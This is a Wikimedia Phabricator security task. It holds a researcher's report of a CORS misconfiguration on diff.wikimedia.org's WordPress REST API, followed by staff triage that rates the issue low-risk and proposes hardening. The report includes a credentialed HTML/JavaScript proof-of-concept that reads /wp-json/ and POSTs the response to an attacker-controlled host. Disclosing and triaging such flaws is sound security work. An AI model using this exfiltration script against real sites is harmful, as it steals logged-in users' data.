Page MenuHomePhabricator

Cross Origin Resource Sharing Misconfiguration | Lead to sensitive information. in "diff.wikimedia.org"
Open, LowPublicSecurity

Description

Email to security@ from Mohammed HQ

Summary:
Wordpress 5.2.4 - Cross-Origin Resource Sharing in "diff.wikimedia.org"

Description:
An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk. If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers.


Affected website: https://diff.wikimedia.org/wp-json/


Step-by-step Reproduction :



1. Send this request:



GET /wp-json/ HTTP/2
Host: diff.wikimedia.org
Origin: https://1IOOI.com
Cookie: WMF-Last-Access-Global=31-Aug-2021; GeoIP=SA:01:Riyadh:24.66:46.72:v4; pll_language=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ar,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers




Response :


HTTP/2 200 OK
Server: nginx
Date: Tue, 31 Aug 2021 09:20:50 GMT
Content-Type: application/json; charset=UTF-8
X-Robots-Tag: noindex
Link: <https://diff.wikimedia.org/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Cache-Control: max-age=60
Allow: GET
Access-Control-Allow-Origin: https://1IOOI.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
X-Rq: hhn2 0 2 9980
Age: 0
X-Cache: miss
Vary: Accept-Encoding, Origin
Accept-Ranges: bytes


Here you can see the response headers:

Access-Control-Allow-Origin: https://hacker.1iooi.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true



So you can write exploit:

<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from diff.wikimedia.org about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://hacker.1iooi.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://diff.wikimedia.org/wp-json/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>



Impact:
Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server.
If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers ...  It's possible to get all the users registered on the system and create a brute force directed to these users Cross Misconfiguration - Leakage Sensitive Information.

Some previous reports that help understanding :

https://hackerone.com/reports/768151

https://hackerone.com/reports/772744

PoC.PNG (571×1 px, 76 KB)

Details

Risk Rating
Low
Author Affiliation
Other (Please specify in description)

Event Timeline

It might be nice to harden Wordpress a bit to help mitigate this issue, but honestly the issue seems fairly low-risk at the moment, IMO. Most of the Wordpress REST API endpoints are public and well-documented, so we're not really exposing any sensitive information there. And more sensitive endpoints (e.g. the one for an akismet key) already require authentication to access. An attacker accessing something like diff.wikimedia.org/wp-json/ doesn't really get them anything of value. And in the hackerone.com examples listed in the original researcher's report, those seem to describe the attack as exploiting things like the users endpoint, however it's fairly trivial to iterate author data as they are listed with various posts via Wordpress' public UI. Anyhow, some hardening measures that could be explored:

  1. If the diff Wordpress REST API isn't being (officially) used by anybody or any other apps, and likely won't be in the future, then it can be disabled within Wordpress' admin panel.
  2. diff's Wordpress REST API can also be restricted in various ways as opposed to being completely disabled. This article has some guidance on disallowing user data enumeration and restricting the entire REST API to logged-in users.
  3. If diff's Wordpress REST API will be used by a number of users or apps with differing needs, then it likely makes sense to explore additional hardening measures such as nonce support and additional authentication plugins.
sbassett changed Author Affiliation from N/A to Other (Please specify in description).Sep 13 2021, 3:57 PM
sbassett changed Risk Rating from N/A to Low.

As noted above, WordPress-powered websites such as Diff are used by the Foundation for public-facing initiatives. For instance, blog posts published on Diff feature names of their authors, and in most cases their titles within the organization. Although, the REST API allows people to retrieve the list of user accounts of the website, it generates list of already-public users, in JSON format that'll need to be parsed/processed. Therefore, the API is not disclosing any information that was not already private, nor is it increasing the visibility of information that was already public by making it easier to retrieve.

Additionally, the likelihood of staff inserting unnecessary personal identifying information in those WordPress-powered websites is low, as per previous discussion with Greg (pinging @Varnent here for confirmation).

Overall, from a Privacy Engineering standpoint, the REST API, as it is right now poses a low privacy privacy. That being said, erring on the side of caution is always a good idea. So I won't say no to restricting the API, if it does not break existing apps that may rely on that API.

@sguebo_WMF @JFishback_WMF - Given the assessment above, I think we can likely make this task public?

sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".Feb 16 2022, 3:41 PM
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett moved this task from Watching to Frozen on the Security-Team board.